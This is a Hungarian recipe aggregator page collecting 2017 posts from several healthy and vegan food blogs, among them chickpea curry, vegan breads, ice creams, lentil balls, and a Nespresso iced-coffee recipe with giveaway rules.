(vreznok) ósrobirescisc g004 (vreznok) moscidarap g004 amygahalil bbesik jef 2 amaygahkof dzereg 2 rébmöyg iynjjukylevüh 1 ynémök iamór kt 1 alasam marag kt 1 rednairok tlörő kt 1 amukruk kt 1 ropilihc kt 1 jetzsukók ld 1 dlözrednairok rokosc 1 rsob etekef ós Najó, ezzel leginkább magamat sikerült felidegesítenem, úgyhogy folytassa így a tököm vízkeresztkor! Tehát: A lilahagymát, a foghagymát és a gyömbért egy aprítóba dobjuk, összemixeljük és félretesszük. (Már-már közhely, hogy turmixgépet mosogatni arany!) Közben egy mély serpenyőben gyanút keltő magatartással kevés olajat hevítünk, hozzáadjuk a fűszereket, és közepes tűzön egy percig kevergetve pirítjuk őket. Majd jöhet rá a lilahagymás mixtúra, ezt további három percig tutujgatjuk a tűzön. Hozzápasszítjuk a paradicsomot, majd a lecsepegtetett csicseriborsót, némi vizet, majd addig főzzük, míg a csicseriborsó meg nem puhul. Legvégül hozzáadjuk a kókusztejszínt, a felaprított koriandert, sózzuk, borsozzuk, majd rizsával megzabáljuk.
omlós töltött keksz
2017. augusztus 18. Beautilicious
Rábukkantam a kamrában egy kis répára, amikkel kezdeni kellett valamit. Nagyon vágytam már egy finom puha kekszre, így nem gondolkodtam sokat. Megalkottam egy répás, fahájas kekszet méghozzá narancsos krémsajtos töltelékkel. Egyszerű és finom, ráadásul hamar elkészíthető. Hozzávalók - 150gr répa - 65gr cukormentes sárgabarack lekvár - 3tojás - 150gr zabliszt - 80gr kókuszliszt - 20gr útifűmag héj - 50gr édesítő - fél csomag sütőpor - fahéj, szerecsendió - 200gr krémsajt - 2ek édesítő - 1 narancs héja Így készítsd - A megtisztított répát a lekvárral és tojásokkal turmixold össze - Keverd össze a fűszereket, édesítőt, liszteket, az útifűmaghéjat és a sütőport - Öntsd bele a répás keveréket és a massza háromnegyedéből formázz kis korongokat és tedd tepsibe - A krémhez keverd össze a krémsajtot 2ek édesítővel és narancshéjjal, majd tegyél belőle mindegyik korong közepére. - Fedd le a krémet a maradék masszával - Tedd 180fokos sütőbe 15 percre és már kész is :)
Brokkolis tészta, pirított napraforgómaggal
2017. augusztus 13. Élj harmóniában
Jógatáborokban, elvonulásokon mindig készítünk valamilyen magvas tésztát - a tészta magvakkal teljes értékű fehérjeforrás és nagyon jó rostbevitel. Korábban egy gyömbéres szezámos sárgarépás tészta receptet már kitettem a blogra itt olvashatod.. Ez a brokkolis, napraforgómagos tészta mindig nagy siker.:) Amennyiben gluténérzékeny vagy fogyaszthatod gluténmentes tésztával, pl rizstésztával vagy hajdinatésztával. Brokkolis tészta, pirított napraforgómaggal Hozzávalók 5 személyre: 250 g durum spagetti vagy penne tészta 500g brokkoli 8 ek. tisztított napraforgó mag 4 ek. ghí (vegánoknak kókuszzsír) frissen őrölt fekete bors só szárított bazsalikom szárított kakukkfű Vegyszermentes (bio) alapanyagokat használj! Készítsd elő a brokkolit, szedd rózsáira és mosd meg alaposan. Főzd ki a tésztát is külön. Melegítsd fel a serpenyőt és a napraforgómagot pirítsd meg zsiradék nélkül, majd vedd ki a serpenyőből tedd félre. A serpenyőbe tedd bele a ghít, majd a brokkolikat tedd bele. Pici vízzel párold egy kicsit, majd pirítsd meg. Végül keverd hozzá a fűszereket, tésztát és a magvakat.
piskóta kávékrémmel
2017. augusztus 8. Beautilicious
Az elképzelés nem ez volt, de nagyon jó ízűre sikeredett. Szerettem volna egy krémes süteményt csinálni, de a krém túl híg lett, ezért anyu tanácsára külön elraktam a krémet és külön a piskótát, majd fogyasztása előtt pár órával a piskótát meglocsoltam egy kis krémmel (na jó, igazság szerint jó sok krémmel :D ). Hozzávalók a piskótához - 1 banán - 1cukkini - 170gr zabliszt - 30gr kókuszliszt - 200ml növényi tej - 15gr útifűmag héj Hozzávalók a krémhez - 250gr mascarpone - 1 marék datolya - 3 tojás - 100ml fekete kávé Így készítsd - A piskótához a megtisztított cukkinit a banánnal és a tejjel mixeld össze - Keverd össze a száraz alapanyagokat - Öntsd hozzá a cukkinis keveréket, majd keverd össze alaposan - Sütőpapírral bélelt tepsibe öntsd a masszát - Süsd 180 fokon 35percig - A krémhez válaszd ketté a tojásokat - A sárgáját turmixold össze a datolyával, kávéval és a mascarpone-val - A fehérjét verd kemény habbá, majd óvatosan öntsd hozzá a mascarponés keveréket
Gyors, gluténmentes, tejmentes kókuszos puliszkasüti
2017. augusztus 4. Élj harmóniában
Gyors, gluténmentes, tejmentes kókuszos puliszkasütiA kukoricadara, puliszka avagy más néven polenta, sokak nagy kedvence, mert tápláló, erősíti a testet és nagyon gyorsan elkészíthető.Ráadásul még gluténmentes is, így gm diétába is jól beilleszthető. Fogyasztható édesen és sósan is. Korábban, már tettem fel sós puliszkás receptet a blogra, egy párolt zöldséges receptet itt olvashatsz, és itt találsz egy polenta pizza receptet. Most egy édes változatot írok Nektek, amit gyakran szoktam elkészíteni:) Hozzávalók 1 csésze kukoricadara 4 csésze víz 1 csésze kókusz 1/2 csésze teljes értékű nádcukor (ízlés szerint változtatható mennyiség) vanília 4 ek. kókuszzsír (vajjal is nagyon finom) Vegyszermentes (bio) alapanyagokat használj! A vizet egy nagy edénybe forrald fel. Tedd hozzá a kókuszt, vaníliát. M ajd vedd kis lángra és keverd bele a kukoricadarát. Keverd folyamatosan - habverőt is használhatsz az elején, azzal könnyebb csomómentesre eldolgozni a kukoricadarát. Kb. 5 perc után már fakanállal is könnyedén tudod keverni. Addig főzd amíg meg nem fő, szépen elválik majd az edény falától. A végén keverd hozzá a kókuszzsírt. Egy tepsibe öntsd bele a masszát. Várd meg amíg kihűl és utána szépen szeleted fel. A receptet kiegészítheted bármilyen más aszalt gyümölccsel, dióval, mandulával, mogyoróval, kakaóval Csak a fantáziád szab határt:) tehetsz bele több cukrot vagy kevesebbet:).
raffaello turmix
2017. augusztus 1. Beautilicious
Ebben a nagy hőségben rászoktam a turmixokra. Hűsít, táplál, és nagyon finom. Bármikor könnyen összedobhatod, és szuper alternatíva, ha megéheznél az étkezések között. Rengeteg féle képp variálhatod az ízeket. Én imádom a raffaello golyót és nagyon szerettem volna egy hasonló ízvilágot ( ami sikerült is) Hozzávalók - 1 marék mandula - 2ek kókuszreszelék - 1 banán - 100gr túró - 200ml kókusztej Turmixold össze a hozzávalókat és már élvezheted is a hűsítő turmixod. :) Íze akár a raffaello golyóé.
Töltött paprika húsmentesen
2017. július 30. Éltető ételek
Egyre jobban teret hódítanak az olyan ételek, ahol a a húst növényi alapanyagokra cserélik. Persze egy az egyben nem lehet azt mondani, hogy ez teljesen olyan lesz, mint a húsos változat.... szerintem még finomabb. :) Nem olyan nehéz, hiszen nincs benne hús, de a magyaros íz a paradicsomos mártással csodásan érvényesül. És tudod, mi a különleges ebben az ételben? Az, hogy a húst alakorral helyettesítettem. Nem szójával, nem szejtánnal és nem is gombával. Hihetetlen, de ha jól eltalálod a fűszerezést, akkor egy nagyon finom főétel lesz belőle. Hozzávalók: - 20 dkg alakor búza - 20 dkg parbolied rizs - 1 bio vagy házi tojás - 2 vöröshagyma - 2-3 gerezd fokhagyma - 3 evőkanál kókuszolaj - 2 teáskanál pirospaprika - só, bors - 6-8 db tölteni való paprika Paradicsomos mártás: - 0,5 kg friss paradicsom - 1 doboz sűrített paradicsom (Lidl-ben szoktam venni, dobozos) - 1 teáskanál méz - só, bors - 5-6 dl víz - 3 evőkanál kukoricaliszt - 2 evőkanál kókuszolaj Elkészítése: - Az alakor búzát 8 órára vagy akár egy egész éjszakára áztasd be. Másnap öblítsd le, majd 1 óra alatt, lassú lángon főzd puhára (kb. 3 csésze vizet önts rá, de főzés közben ellenőrizd, hogy ne ragadjon le.). 1 teáskanál sót tegyél a főzővízbe. - Közben a rizst 2 csésze vízben, mintegy 30 perc alatt főzd meg (ebbe is tegyél 1 teáskanál sót). - Az apró kockára vágott vöröshagymát a kókuszolajon dinszteld meg. - A búzáról öntsd le a felesleges főzővizet, majd húsdarálóval vagy botmixerrel daráld meg. - Keverd hozzá a megfőtt rizst, a tojást, a megdinsztelt hagymát (az olajjal együtt), a tojást, a fűszereket és reszeld bele a fokhagymát is. Jól keverd össze, az ízeket ellenőrizd! - A paprika tetejét vágd le, szedd ki belőle a magházát. Töltsd meg az elkészített töltelékkel. - Paradicsomos mártás készítése: Hevítsd fel a kókuszolajat, majd tedd vele a kis kockára vágott paradicsomot. Süsd össze, majd öntsd rá a sűrített paradicsomot és a vizet. Csorgasd bele a mézet, fűszerezd. Kb. 5 percig rotyogtasd, majd helyezd bele a paprikákat. A paradicsomos lé majdnem lepje el a paprikákat. Tepsibe is sorakoztathatod a töltött paprikákat, és erre öntsd rá az elkészült híg mártást. - Mintegy 30-40 percig lassú lángon főzd, amíg a paprika héja megpuhul. Ekkor szedd ki a paprikákat, és a megmaradt paradicsomos mártást szűrd át (mivel került bele friss paradicsom is). - Folyamatos keverés mellett (kézi habverővel) szórd bele a kukoricalisztet. Ettől lesz egy selymes, lágy mártásod. Ha szükséges, kicsi vízzel hígíthatod.Kockára vágott, főtt krumplit kínálhatsz hozzá.
Gluténmentes, vegán muffin és kenyér
Ez az étel és recept címében muszáj volt kihangsúlyoznom, hogy vegán, mert ha átböngésszük az internetet, kókuszliszttel készül kenyérféléknél mindig tojást használnak. Ez nem meglepő, hiszen a kókuszlisztre egy valami jellemző: nagy a vízigénye, sok vizet/folyadékot kell hozzá adni, hogy a megfelelő állagot elérjünk a kenyér készítésénél. A paleo változatokban a tojás pedig egyrészt folyadékot is pótol, másrészt lazítja is a tésztát. Nálam viszont az a helyzet, hogy tojás nincs a hűtőmben évek óta, és elvből sem alkalmazok hozzá. Így nem maradt más, mint a víz mennyiségét mindig növeltem és növeltem a tésztához, az arányokat pedig lejegyzeteltem. Ekként született meg ez az egyedi kókuszlisztes muffin és kenyér. Ebből a mennyiségből sikerült egy kisebb kenyeret sütnöm őzgerinc formában és néhány muffint is készítenem. A muffinok sós ízüek, ahogy a kenyérszeletek, így leginkább felszeletelve kenyérként funkcionáltak. Örülök, hogy ismét kikisérleteztem egy házilag elkészíthető gluténmentes kenyeret, ami szintén kukoricaliszt mentes is, ahogy a korábbi kalózkenyerem.
A recept
Hozzávalók:
- 2.8 dkg élesztő
- 6 dl víz
- 22 dkg hajdinaliszt
- 18 dkg kókuszliszt
- 24 dkg barnarizs liszt
- 1,5 dkg útifűmaghéj
- 2 dkg olaj
- 1 dkg só
Elkészítés:
Az élesztőt egy edénybe morzsoljuk. Felöntjük a kimért "kézmeleg" víz kb. felével. Amíg feloldódik a vízben (nem fog a tetejére feljönni, csak feloldódik), addig megdaráljuk a gabonákat. Mindegyiket külön. Kókuszlisztet nem én készítettem, hanem vettem, a hajdinát és a barnarizst finomra darálátam. A barna rizs fog tovább tartani. Ha nincs más, kávédarálót is használhatunk. Nekem van egy 500 wattos aprító-daráló gépem, azzal dolgoztam, de korábban már próbálkoztam rizst kávédarálóval őrölni, és ha sokáig daráljuk, lisztes, porszerű lesz.
Az élesztős vizet egy kicsit megkeverjük, majd hozzáadjuk elsőnek az útifű-maghéjat. Ez az alap ahhoz, hogy jól sikerüljön a kenyér. Várunk kb. 1-2 percet, míg az útifű-maghéj magába szívja a folyadék egy részét. Hozzáadjuk a liszteket, sót, majd hozzáöntjük az olajat és végül vizet megint. Elképzelhető, hogy szükség lesz még kevés vízre. A képeken is látható, hogy egy kis gömbőcöt kell formálni az anyagokból. Amikor ez megvan, konyharuhával letakarva 20-30 percet pihentetjük.
Ha kenyérformában sütjük, béleljük ki sütőpapírral, ha muffin formában, tegyünk bele muffin papírokat.
A formákba helyezve mehet az előmelegített sütőbe, ahol kb. 30-40 perc alatt megsül. Ha enyhén barnul a teteje, tűpróbával ellenőrizzük, s ha nem ragad rá, akkor kész. Miután kihűlt, szeletelhetjük.
Sárgarépás gyömbéres szezámos tészta
2017. július 20. Élj harmóniában
A jóga elvonuláson nagy sikere van mindig a zöldségekkel és pirított magvakkal készített tésztáknak. Ez a sárgarépás gyömbéres tészta is nagy kedvenc:) Elkészítheted könnyű vacsorának vagy egy gyors nyári ebédnek salátával. Sárgarépás gyömbéres szezámos tészta Hozzávalók 3 ek. ghí ( vegán változatban kókuszzsír) 400 g sárgarépa csipet asafoetida (más néven hing) elhagyható 6 cm-es gyömbér 1 tk. őrölt koriander 5 ek. szezámmag só víz 250 g tészta ( gluténmentes diétában gm tészta) Vegyszermentes (bio) alapanyagokat használj! A szezámmagot szárazon (zsiradék nélkül) pirítsd meg egy serpenyőben és tedd félre. A sárgarépákat és a gyömbért is tisztítsd meg és vágd vékony csíkokra. A zsiradékot tedd egy forró serpenyőbe. Tedd bele az őrölt koriandert, asafoetidát és a gyömbért, majd pirítsd egy rövid ideig. Add hozzá a sárgarépákat, sót és egy pici vizet, majd addig kevergesd , amíg a répa megpuhul. Keverd hozzá a szezámmagot. Tedd gyömbéres, szezámos sárgarépát a kifőtt tésztára. A végén locsold meg olívaolajjal vagy napraforgóolajjal.
Almás zabfelfújt
2017. július 17. Éltető ételek
A zab jótékony hatásairól ódákat lehet zengeni, például itt is írtam róla. Almával párosítva meg maga a tökély :D Persze szezonálisan készítheted körtével vagy akár sárgabarackkal is. Ez a fantasztikus étel szintén a Zöldház Bio Panzió ajánlata. Ha a nyaralásod alatt ehhez hasonló egészséges finomságokat szeretnél enni, akkor ez a szállás neked való. :) Hozzávalók: - 1 csésze aprószemű zabpehely - 5 dkg mazsola - 5 dkg apróra tört dió - 1-2 evőkanál napraforgómag, szezámmag vegyesen - 1/2 mokkáskanál vaníliapor - 0,5 kg alma reszelve (nagylyukú reszelőn) - 0,5 l. rizstej (vagy más növényi tej) - ha szeretnéd: 1-2 evőkanál kókuszreszelék, porrá darált kesudió - vaj/kókuszolaj Elkészítése: - A zabpelyhet öntsd le a tejjel, és kb. 30 percig hagyd ázni. - Keverj hozzá minden hozzávalót. - Egy jénait vagy egy tepsit vajazd ki, és simítsd vele a finomságot. Ne legyen 3-4 vm-nél vastagabb. - Előmelegített (160-170 fok) sütőben, mintegy 30 perc alatt süsd meg.
Barackkrémes túrókocka
2017. július 14. Beautilicious
Évek óta az egészséges vonalat követem és eszem ágában sincs ezen változtatni. Nem jár semmiféle lemondással, sőt....! Édesszájú vagyok, de nem is kicsit :D, imádok nassolni. Az egyik kedvenc alapanyagom a túró. Nagyon finom és nagyon jó fehérjeforrás is. Ajánlom mindenkinek! És ha nem tudjátok, hogyan fogyasszátok, próbáljátok ki például ez isteni túrókockát. Hozzávalók - 125gr zabliszt - 25gr lenmagliszt - 50gr kókuszliszt - 70gr édesítő - fél csomag sütőpor - 100gr light sajtkrém - 200ml tej/ növényi tej/víz - 125gr sárgabarack - 3ek cukormentes baracklekvár - fél citrom leve - fahéj - 1 zacskó zselatin - 500gr túró - 2tojássárgája - édesítő ízlés szerint Így készítsd - A tésztához keverd össze a liszteket a sütőporral és a 70gr édesítővel - Add hozzá a krémsajtot és a folyadékot - Csomagold fóliába és tedd hűtőbe fél órára - A barackkrémhez turmixold össze a barackot a lekvárral, fél citrom levével és a fahéjjal - A zselatint old fel 4ek hideg vízben, majd add a krémhez és tedd hűtőbe - A túrókémhez a túrót, fél citrom levét és héját, az édesítőt és a 2 tojássárgáját keverd össze botmixerrel, hogy a túró ne legyen szemcsés. - Vedd ki a tésztát a hűtőből és lisztezett felületen nyújtsd ki jó vékonyra, majd helyezd tepsibe - Szurkodd meg villával, majd süsd 30 percig 180fokon - Vedd ki, majd öntsd bele a barackkrémet, majd rá a túrókrémet és süsd további 45percig
Málnás kókuszparfé
Ééééés… az első epres a második ribizlis után megérkezett a vegán fagyisorozat harmadik tagja, a kókuszos málna! Pár éve, egy másik receptemben olvashattátok, hogyan szerettem bele ebbe a két ízbe, akkor pudingot készítettem belőlük, és egészen más hozzávalókból. Szóval, a kókusz málnával továbbra is nagy kedvencem, és most a kánikulához szabva, jó hidegen érkezik. Hozzávalók egy tálkához: - 50 g kókuszkrém - 15 szem málna - 1 kávéskanál porcukor - A kókuszkrémet hűtőben hagyjuk ülepedni legalább egy éjszakán át. - Másnap nyissuk fel, és kanállal merjünk a “föléből”, és habverővel ezt verjük fel kemény habbá. Ha kész, a villával összenyomkodott málnát is keverjük hozzá. Édesítsük ízlés szerint. Használhatsz növényi szirupot, nádcukrot is, vagy ki is lehet hagyni ezt a lépést, és akkor egy igazán natúr ízű fagyi lesz a végeredmény. - Töltsük a krémet egy alacsony tálba, és tegyük a mélyhűtőbe. Hőmérséklettől függően 1-2 óra alatt megfagy. Krémesebb lesz, ha egy óra elteltével átkeverjük, majd visszatesszük tovább hűlni. - Egész málnákkal tálaljuk. Jó étvágyat! Elkészítési idő: 5 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha ITT feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Vegán MUST HAVE – a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven
Fekete ribizlis maca golyók
2017. július 10. Vegán receptek Tőlünk Nektek
Annától kaptuk :)
Hozzávalók:
- Napraforgómag kb 10 dkg
- Tahini 3 ek
- 2 ek karob
- 4 ek maca por
- Puffasztott amarant
- 1 -1.5 ek kókuszzsír
- 1 ek szezámolaj
- 17-20 szem datolya
- Agavé szirup
- Kókuszreszelék
- Dió
Elkészítése:
A napraforgó magot puhára őröltem, hozzáadtam a datolyaszemeket és a kókuszzsírt, olajat és a tahinit. Együtt daráltam. Fekete ribizlit ( de lehet áfonya is vagy málna , szeder például) adtam hozzá 3-4 marékkal, ezzel is könnyebben darálódott. Meghintettem a karobbal, maca porral és kézzel összedolgoztam. Lehet agavé vagy datolya sziruppal még édesíteni a masszát. Az száraz összetevőket és a gyümölcsöket akár külön is lehet darálni, hogy finom legyen és utána tálban mindennel összedolgozni.
A masszát hűtőbe tettem kb 40 percre. Utána a megformázott golyókat darált kókuszreszelékbe vagy őrölt dióba vagy amarántba forgattam. Nekem a kókuszreszelékes ízlik legjobban.
Tipp: Reszelt karobcsokival is el tudom képzelni... :)
Jó étvágyat!
Ropogós vöröslencse fasírt (laktózmentes, gluténmentes, vegán)
2017. július 7. Zizi kalandjai
A robotgépben összedarált vöröslencse hagymával és fűszerekkel… igen, tudom, úgy néz ki, mint a körözött, de nem az!
Ennek a receptjét már nagyon vártátok! Facebookon az egyik vegán csoportban követelték minél előbb a receptet, különben jaj lesz nekem! Hát íme… falatnyi, ropogós fasírtgolyók. Ízletesek. Fehérjében gazdagok. Nagyobb adag is készíthető belőle, így a maradékot lefagyasztva, majd később elővéve és felmelegítve, gyorsan készíthetünk velük salátát, tálalhatjuk gabonával, főzelékkel, de akár valamilyen zöldséges tésztával is.
A recept az egyik kedvenc szakácskönyvemből származik, Andrea Duclos The Plantiful Table című könyvéből, amely tele van színesebbnél színesebb receptekkel. Jó párat már kipróbáltam belőlük és jó pár még várat magára.
A fasírtgolyók gyerekbarátak, teszteltem már többször Ádin és Ákin is, ízlett nekik. Elmajszolgattak néhány darabot ebédre. Ettük már quinoával, zöldségekkel, tahini szószba mártogatva. Felhasználhatósága nagyon sokrétű! Próbáljátok ki!
Ropogós vöröslencse fasírt (laktózmentes, gluténmentes, vegán) Mentés Nyomtatás Előkészítési idő 3 óra Főzési idő 30 perc Teljes idő 3 óra 30 perc Szerző: Zizi Recept típusa: vega fasírt, ázsiai Konyha: vegán, gluténmentes Adag/mennyiség: 4-6 főre Hozzávalók 2 bögre vöröslencse, beáztatva 2-3 órára 1 kis fej vöröshagyma, meghámozva, kisebb darabokra vágva 2 gerezd fokhagyma, meghámozva 1 kis ujjnyi darabka gyömbér, meghámozva ½ csokor koriander 1 teáskanál római kömény 1 teáskanál paprika 1 teáskanál só ½ teáskanál chili pehely (opcionális) kókuszzsír, sütéshez Elkészítés Tegyük az összes hozzávalót késes aprítógépbe. Dolgoztassuk a gépet addig, amíg viszonylag sima masszát kapunk (nem baj, ha marad benne egész lencse darab vagy kisebb hagyma darab). Tegyük egy tálba a vöröslencsés masszát és formázzunk belőle falatnyi golyókat. Közepes láng felett hevítsünk fel egy teflon- vagy kerámiaserpenyőt. Tegyünk bele 3-4 evőkanál kókuszzsírt, majd kezdjük el benne kisütni a fasírtokat. Sülés közben egy kanál segítségével forgassuk a fasírtokat, hogy minden oldalukon ropogósra süljenek. Jegyzetek Recept: Andrea Duclos: The Plantiful Table szakácskönyvből. Sütéskor éppen csak legyen kókuszzsír a serpenyőben, tehát a fasírtokat nem bő olajaban kell sütni! 3.5.3226
Lisztmentes magvas kréker
Egy olyan sós kréker receptjét osztom meg veletek amely abszolut lisztmentes, alacsony szénhidráttartalmú, hiszen csupán magvakból készül, így ropogós, megunhatatlan. 50-70 dkg készen: Hozzávalók: 200g nem zsírtalanított mandulaliszt 100 g szezámmag+2 evőkanál chia mag 4evőkanál napraforgó mag 2 evőkanál fekete szezámmag 2 evőkanál lenmag 2 kiskanál parajdi só 6 evőkanál kókuszszír 100-150 g rizstej vagy mandulatej Az összetevőket alaposan összekavarjuk, átgyúrjuk, ha szükséges kevés vizet adhatunk hozzá. A masszának jól gyúrhatónak kell lennie. Kettő sütőpapír között kinyújtjuk és kis pogácsa szaggatóval kiszaggatjuk. Előmelegített sütőben 180 C fokon 15 percig sütjük. 100 g (kb.13-15 db) tápanyagtartalma: Fehérje: 18g Zsír: 43 g Szénhidrát: 12 g Kcal: 490
Epres iglu
Ellentétben azzal, amit ez a fotó sugall, most egy bámulatosan egyszerű recept következik. Tudom, hogy olyan, mintha csak egy ultramenő belvárosi cukrászda pultjába néznél be, de hidd el, ez a süti igazából három hozzávalóból, három lépésben készül el. Épp ez a csodálatos benne: bárki meg tudja csinálni! :)
Ez a receptem megjelent a Vegán Világ Magazin júniusi számában is.
Hozzávalók 6 db igluhoz
- 3 db lasagne tésztalap
- 220 g eper
- 15 g nádporcukor
- konzerv kókusztej 200 g föle
- kis margarin
- étcsoki a díszítéshez
Előkészületek: le kell hűteni mindent. Hogy igazán szép, kemény hab legyen a kókuszkrémből, előző este tegyük be a felbontatlan konzervet a hűtőbe. Tegyük be az epret is a hűtőbe.
Amikor nekifogunk az igluk elkészítéséhez, tegyük be a keverőpoharat és a habverőt is a mélyhűtőbe.
Csak akkor fog működni, ha elég hideg minden. De akkor fog. :)
- A lasagne tésztalapokat egyenként kis vízben főzzük elő. 1-2 perc alatt megpuhul annyira, hogy könnyen olyan alakúra vághatjuk, amilyenre csak szeretnénk. Válasszunk egy megfelelő poharat, nyomjuk jól rá a tésztalapra, ezután pedig ollóval vágjuk ki belőle a köröket.
- Tegyük őket sütőpapírra, kenjük meg margarinnal, és hintsük meg porcukorral. Tegyünk rá egy sütőrácsot, hogy ne kunkorodjon fel, majd 180 fokos, előmelegített sütőben süssük aranybarnára. Ez kb. 10 perc. Amikor kész, tegyük egy tálra, és mehet is a mélyhűtőbe hűlni.
- A sütés alatt nekikezdhetünk az epres tejszínhab elkészítésének. Először tegyünk félre 9 kisebb epret (nem árt, ha közel ugyanakkorák), a többit pedig a maradék porcukorral turmixoljuk le.
- A kókusztejet nyissuk ki, és a tetejéről merjünk le 200 g kókusztejszínt. Ezt fogjuk felverni habbá az előhűtött pohárban és habverővel. 2-3 perc alatt kemény hab lesz belőle. Akkor keverjük fele az eperpürét, és így verjük ismét 1-2 percet, hogy visszakeményedjen.
- Kezdődhet az igluk építése. A 9 félretett epret tisztítsuk meg, és vágjuk őket hosszában ketté.
A tésztalapok közepébe tegyünk egy kávéskanál kókuszkrémet, majd tegyünk rá három darab fél epret úgy, hogy egymás felé nézzen a csúcsúk.
Ezután halmozzunk középre még három kanál krémet, és szórjuk meg csokival. Kész is!
Megjegyzés: a kókusztejből válassz 100%-os tisztaságút, mert ha higítottat, netán keményítővel, egyéb anyagokkal kezeltet veszel, nem fog felverődni a habbá. Ha biztosra szeretnél menni, ajánlom az AROY-D márkát.
Jó étvágyat!
Elkészítési idő: 20 perc
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :)
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat :
Kezdő Vegán
Vegán MUST HAVE – a kötelező alapcsomag
Növényi Tejek és Tejtermékek I
Növényi Tejtermékek II
A Mindennapi Superfood
Kezdő Vegán Angol nyelven
Kókuszos rizsjégkrém
A múltkori 100% kézi eperfagyi után úgy belelkesültem, hogy elindult itthon a vegán jégkrémgyártás ipari mennyiségekben. Persze, hőségben fagyi receptekkel kísérletezni roppant hálás dolog. Mindegyikre azonnal hárman csapnak le. :)) Ebben a pillanatban jutott eszembe egy harmadik izgalmas változat, szóval, indulok is megcsinálni. :) Na, jó, ez eldőlt: fagyi sorozat lesz, és kész. Ti pedig fogadjátok egyelőre ezt, a második számút. :) Hozzávalók négy jégkrémhez - 300 ml tej - 10 g kókuszreszelék - 15 g cukor - 20 rizsliszt - 30 g ribizli - A rizslisztet kis tejben keverjük simára. - A többi tejet a cukorral és a kókuszreszelékkel forraljuk fel. Öntsük hozzá a rizslisztes krémet, és folyamatos kevergetés mellett újra forraljuk fel. hagyjuk 1-2 percet bugyogni, hogy besűrűsödjön. Hagyjuk hűlni kicsit. - A ribizlivel együtt rétegezzük jégkrém formába, és fagyasszuk ki. Jó étvágyat! Elkészítési idő: 10 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Vegán MUST HAVE – a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven
Banános jeges kávé smoothie (laktózmentes, cukormentes, vegán) + Nespresso nyereményjáték
2017. június 22. Zizi kalandjai
Én a kávét az íze miatt iszom… inkább olyan szertartás számomra az, ha iszom egy csésze/bögre kávét, nem pedig azért történik, hogy felébresszem magam. Ezért kávét nem is iszom reggel és mindennap sem, csak, ha megkívánom. Napszakot tekintve pedig ez többnyire ebéd után szokott megtörténni, amikor érzem, hogy most jól esne.
Reggelire egy nagy pohár vizet szoktam inni és egy nagy pohár gyümölcsös turmixot. Én ezektől ébredek fel. De mi van akkor, ha valakinek nagyon fontos a reggeli kávé, de azt szeretné egy egészségesebb formába önteni úgy, hogy az még laktató is legyen? Ha más reggelire nincs is időtök, legalább egy banános jeges kávéra azért legyen ezen a nyáron! Ez a jeges kávé villámgyorsan elkészíthető, ha előző este bedobjátok az érett banánokat a mélyhűtőbe. Reggel csak elkészítitek a kávét hozzá, beleöntötök mindent a turmixgépbe és már kész is a nyári melegben igen jól eső heves-jeges banános-kávés-kókuszos krémes italotok. De ez az ital lehet a délutáni ébresztőtök is, amikor a kávé és banán cukortartalma segít felébreszteni a tikkasztó hőségben, meg lehűteni is egyben. Az ital laktóz- és gluténmentes, vegán és még cukormentes is, ugyanis a banán édesíti csak, ez adja a krémességét az italnak a kókusztejen felül. Egyszerűen nincs kifogás, irány a konyha, dobjátok be a mélyhűtőbe a banánokat, hogy minél előbb kipróbálhassátok ezt a finomságot!
A Nespresso két limitált kiadású, a mediterrán életstílus által inspirált őrleményt mutat be idén nyáron, amelyeket kifejezetten jegeskávék készítéséhez terveztek: az Intenso on Ice-t és Leggero on Ice-t. Az Intenso on Ice egy merészen telt kávé gabonás és kakaós jegyekkel, intenzív, pörkölt lecsengéssel. A Leggero on Ice feketén fogyasztva gyömölcsös, citrusos jegyeket mutat, hosszú lecsengéssel és lágy textúrával.
A Nespresso megkeresésének köszönhetően lehetőségem nyílt mindkét fajta limitált szériás kávét kipróbálni és az Instenso on Ice kapszulával pedig egy kicsit kísérletezni, amelynek eredménye ez a jeges ital lett. A Nespresso által a bloggerek között hirdetett versenyben a legjobb jeges kávé ital receptjét keresik. Ha úgy érzitek, ez a jegeskávé viszi a pálmát, akkor szavazhattok rá(m) a Nespresso Facebook oldalán itt (link hamarosan jön!!!), június 23 és 26 között.
NYEREMÉNYJÁTÉK!!! Ha pedig mindenféle izgalmas dolgot szeretnétek nyerni, akkor játsszatok ti is! Fotózd le kedvenc Nespresso kávéőrleményedből készült jegeskávéd a kapszulával együtt, használd a #NespressoPillanat hashtaget, és oszd meg a Nespresso-val Instagram-on, hogy te legyél a szerencsés nyertes, aki Nespresso jegeskávé ajándékcsomagot nyer!”
Részletek:
A nyereményjáték időtartama: 2017.06.12 10:00 – 2017.07.20 10:00.
Feladat: #NespressoPillanat hashtaggel posztolni Instagramra úgy jegeskávé képet, hogy 1 Nespresso kapszula látszódik rajta.
Nyeremény: 1db Iced Coffee csomag (Limited Edition Travel Mug termobögre, PURE Recipe pohár szett, Aeroccino 4 tejhabosító).
A játékról még többet és a játékszabályzatot itt olvashatjátok el!
